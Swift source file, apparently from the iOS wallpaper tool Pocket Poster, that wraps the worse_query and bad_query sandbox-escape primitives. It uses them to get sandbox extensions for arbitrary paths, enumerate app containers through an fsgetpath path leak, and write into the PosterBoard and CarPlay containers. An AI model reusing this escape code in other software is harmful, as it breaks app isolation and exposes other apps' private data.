//
//  SandboxEscape.swift
//  Pocket Poster
//
//  Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+).
//  Falls back to the legacy bad_query route on iOS 26 when no App Group is
//  available (unsigned / non-App-Group entitlements).
//

import Foundation
import Darwin
import Security

enum SandboxEscapeError: LocalizedError {
    case invalidPath
    case missingPath
    case noAppGroup
    case unavailable
    case resolveFailed
    case createFailed
    case symlinkFailed
    case outsideSandbox
    case kernelRejected
    case listFailed
    case containerNotFound(String)
    case directoryCreateFailed(String)
    case unknown(Int64)

    var errorDescription: String? {
        switch self {
        case .invalidPath:
            return "Path must be absolute."
        case .missingPath:
            return "Target path does not exist."
        case .noAppGroup:
            return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27."
        case .unavailable:
            return "worse_query is unavailable on this OS/signing combination."
        case .resolveFailed:
            return "Failed to resolve containermanager symbols."
        case .createFailed:
            return "Failed to create the container query."
        case .symlinkFailed:
            return "Failed to create the App Group symlink."
        case .outsideSandbox:
            return "containermanager rejected the query (path outside sandbox)."
        case .kernelRejected:
            return "Kernel refused to issue a sandbox extension."
        case .listFailed:
            return "Failed to enumerate containers (fsgetpath)."
        case .containerNotFound(let bundleId):
            return "Could not find container for \(bundleId)."
        case .directoryCreateFailed(let reason):
            return "Could not create destination directory: \(reason)"
        case .unknown(let code):
            return "Sandbox escape failed with code \(code)."
        }
    }

    static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError {
        switch code {
        case -1: return .noAppGroup
        case -2: return .resolveFailed
        case -3: return .createFailed
        case -4: return .symlinkFailed
        case -5: return .outsideSandbox
        case -6: return .kernelRejected
        case -255: return .missingPath
        default: return .unknown(code)
        }
    }

    static func fromBadQuery(_ code: Int64) -> SandboxEscapeError {
        switch code {
        case -255: return .invalidPath
        case -254: return .missingPath
        case -1: return .resolveFailed
        case -2: return .createFailed
        case -3: return .outsideSandbox
        case -4: return .kernelRejected
        case -5: return .createFailed
        default: return .unknown(code)
        }
    }
}

enum SandboxEscapeBackend {
    case worseQuery
    case badQuery
}

/// RAII-style sandbox extension handle.
final class SandboxEscapeHandle {
    private(set) var handle: Int64
    let path: String
    private let backend: SandboxEscapeBackend

    init(handle: Int64, path: String, backend: SandboxEscapeBackend) {
        self.handle = handle
        self.path = path
        self.backend = backend
    }

    deinit {
        release()
    }

    func release() {
        guard handle >= 0 else { return }
        switch backend {
        case .worseQuery:
            worse_query_release(handle)
        case .badQuery:
            bad_query_release(handle)
        }
        handle = -1
    }
}

enum SandboxEscape {
    static let posterBoardBundleId = "com.apple.PosterBoard"
    static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"

    // MARK: - App Group

    /// First App Group from our code signature that actually has a container.
    /// nil means the app was signed without an App Group entitlement.
    static let appGroupIdentifier: String? = {
        guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil }

        let fm = FileManager.default
        for group in groups {
            if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil {
                return group
            }
        }
        return groups.first
    }()

    /// SecTask is not in the public iOS SDK headers, so resolve it at runtime.
    private static func entitledAppGroups() -> [String]? {
        guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else {
            return nil
        }
        defer { dlclose(handle) }

        typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged<CFTypeRef>?
        typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> Unmanaged<CFTypeRef>?

        guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"),
              let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else {
            return nil
        }

        let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self)
        let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self)

        guard let task = create(nil)?.takeRetainedValue() else { return nil }
        let key = "com.apple.security.application-groups" as CFString
        guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil }
        return value as? [String]
    }

    // MARK: - Backend selection

    /// worse_query when an App Group is available; otherwise the legacy
    /// bad_query route on iOS 26 (it does not work on iOS 27+).
    static let backend: SandboxEscapeBackend? = {
        if let group = appGroupIdentifier {
            // create_dir=true skips the sandbox-blocked lstat.
            let handle = worse_query("/var/mobile", group, false, true)
            if handle >= 0 {
                worse_query_release(handle)
                return .worseQuery
            }
            // -1 / -2 mean the group or the containermanager plumbing is missing.
            if handle != -1 && handle != -2 {
                return .worseQuery
            }
        }

        if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 {
            var probe = "/var/mobile".utf8CString.map { Int8($0) }
            let handle = bad_query(&probe, true, nil, false)
            if handle >= 0 {
                bad_query_release(handle)
                return .badQuery
            }
            // -3 / -4 / -254 mean the query ran but the path/token failed.
            if handle == -3 || handle == -4 || handle == -254 {
                return .badQuery
            }
        }

        return nil
    }()

    static var isAvailable: Bool { backend != nil }
    static var isUsingWorseQuery: Bool { backend == .worseQuery }

    // MARK: - Consume / Release

    /// Obtain a sandbox extension for an absolute path.
    /// - Parameters:
    ///   - path: Absolute filesystem path.
    ///   - create: Skip the existence check (needed for sandbox-blocked paths).
    @discardableResult
    static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle {
        guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath }
        guard let backend else { throw SandboxEscapeError.unavailable }

        switch backend {
        case .worseQuery:
            guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup }
            // iOS 26 App Group containers need the alternate operation flags.
            let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26
                && path.contains("/var/mobile/Containers/Shared/AppGroup")
            let handle = worse_query(path, group, altFlags, create)
            guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) }
            return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery)

        case .badQuery:
            var cPath = path.utf8CString.map { Int8($0) }
            let handle = bad_query(&cPath, create, nil, false)
            guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) }
            return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery)
        }
    }

    // MARK: - Listing

    /// Freshly allocated inode just below the current high-water mark.
    /// APFS hands out increasing inode numbers, so this bounds a full scan.
    private static func baselineInode() -> UInt64 {
        let fm = FileManager.default
        let url = fm.temporaryDirectory
            .appendingPathComponent(".wq_baseline_\(UUID().uuidString)")
        do {
            try Data("worse_query".utf8).write(to: url)
            var info = stat()
            let ok = url.path.withCString { stat($0, &info) } == 0
            try? fm.removeItem(at: url)
            if ok {
                return info.st_ino + 1024
            }
        } catch {
            print("(wq) baseline inode failed: \(error.localizedDescription)")
        }
        return 2_000_000
    }

    /// Enumerate the immediate children of `path` through fsgetpath.
    static func list(path: String, maxInode: UInt64? = nil) throws -> [String] {
        let limit = maxInode ?? baselineInode()
        guard let paths = pathleak(path, limit) else {
            throw SandboxEscapeError.listFailed
        }
        return paths
    }

    // MARK: - Container discovery

    private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"

    /// Read MCMMetadataIdentifier from a container root.
    static func readBundleId(fromContainerPath containerPath: String) -> String? {
        // Fast path: the container xattr.
        if let token = try? consume(path: containerPath, create: true) {
            defer { token.release() }
            var buffer = [CChar](repeating: 0, count: 512)
            let length = getxattr(
                containerPath,
                "com.apple.containermanager.identifier",
                &buffer,
                511,
                0,
                0
            )
            if length > 0 {
                let bundleId = String(cString: buffer)
                if !bundleId.isEmpty { return bundleId }
            }
        }

        // Metadata plist fallback.
        for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] {
            let metaPath = (containerPath as NSString).appendingPathComponent(name)
            guard let token = try? consume(path: metaPath, create: true) else { continue }
            defer { token.release() }
            if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any],
               let bundleId = dict["MCMMetadataIdentifier"] as? String,
               !bundleId.isEmpty {
                return bundleId
            }
        }

        return nil
    }

    static var defaultSearchRoots: [String] {
        var roots = ["/var/mobile/Containers/Data/Application"]
        if #available(iOS 27.0, *) {
            roots.append("/var/containers/Data/System")
        }
        roots.append("/var/mobile/Containers/Data/InternalDaemon")
        roots.append("/var/mobile/Containers/Data/PluginKitPlugin")
        return roots
    }

    /// Find an application container UUID for a bundle identifier, on-device.
    static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
        guard isAvailable else { throw SandboxEscapeError.unavailable }

        let roots = searchRoots ?? defaultSearchRoots
        let inode = baselineInode()

        for root in roots {
            guard let children = pathleak(root, inode) else { continue }
            for child in children {
                guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else {
                    continue
                }
                return (child as NSString).lastPathComponent
            }
        }

        throw SandboxEscapeError.containerNotFound(targetBundleId)
    }

    static func findPosterBoardHash() throws -> String {
        try findAppHash(bundleId: posterBoardBundleId)
    }

    static func findCarPlayHash() throws -> String {
        try findAppHash(bundleId: carPlayWallpaperBundleId)
    }

    // MARK: - Path helpers

    private static let cacheLock = NSLock()
    private static var containerCache: [String: String] = [:]

    /// Resolve the container root for a stored hash. iOS 27 keeps some system
    /// app containers under /var/containers/Data/System, third-party apps
    /// stay under /var/mobile/Containers/Data/Application.
    static func applicationContainerPath(appHash: String) -> String {
        let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines)
        guard !hash.isEmpty else { return "" }

        cacheLock.lock()
        if let cached = containerCache[hash] {
            cacheLock.unlock()
            return cached
        }
        cacheLock.unlock()

        var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"]
        if #available(iOS 27.0, *) {
            candidates.append("/var/containers/Data/System/\(hash)")
        }

        for candidate in candidates {
            if let handle = try? consume(path: candidate, create: true) {
                handle.release()
                cacheLock.lock()
                containerCache[hash] = candidate
                cacheLock.unlock()
                return candidate
            }
        }

        return candidates[0]
    }

    static func descriptorsPath(appHash: String, ext: String) -> String {
        let version = SymHandler.getExtensionVersion()
        return applicationContainerPath(appHash: appHash)
            + "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors"
    }

    static func carPlayCachePath(appHash: String) -> String {
        return applicationContainerPath(appHash: appHash)
            + "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
    }

    // MARK: - File operations under a container

    /// Create `path` while holding an extension on the container root.
    static func ensureDirectory(at path: String, containerRoot: String? = nil) throws {
        let fm = FileManager.default
        let root = containerRoot ?? inferredContainerRoot(for: path)

        guard let root else {
            let handle = try consume(path: path, create: true)
            defer { handle.release() }
            try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
            return
        }

        let handle = try consume(path: root, create: true)
        defer { handle.release() }
        do {
            try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
        } catch {
            throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription)
        }
    }

    /// Infer the container root from a path.
    /// /var/mobile/Containers/Data/Application/<uuid>/...
    /// /var/containers/Data/System/<uuid>/...
    private static func inferredContainerRoot(for path: String) -> String? {
        let components = path.split(separator: "/").map(String.init)
        if components.count >= 6,
           components[0] == "var",
           components[1] == "mobile",
           components[2] == "Containers",
           components[3] == "Data" {
            return "/" + components.prefix(6).joined(separator: "/")
        }
        if components.count >= 5,
           components[0] == "var",
           components[1] == "containers",
           components[2] == "Data",
           components[3] == "System" {
            return "/" + components.prefix(5).joined(separator: "/")
        }
        return nil
    }
}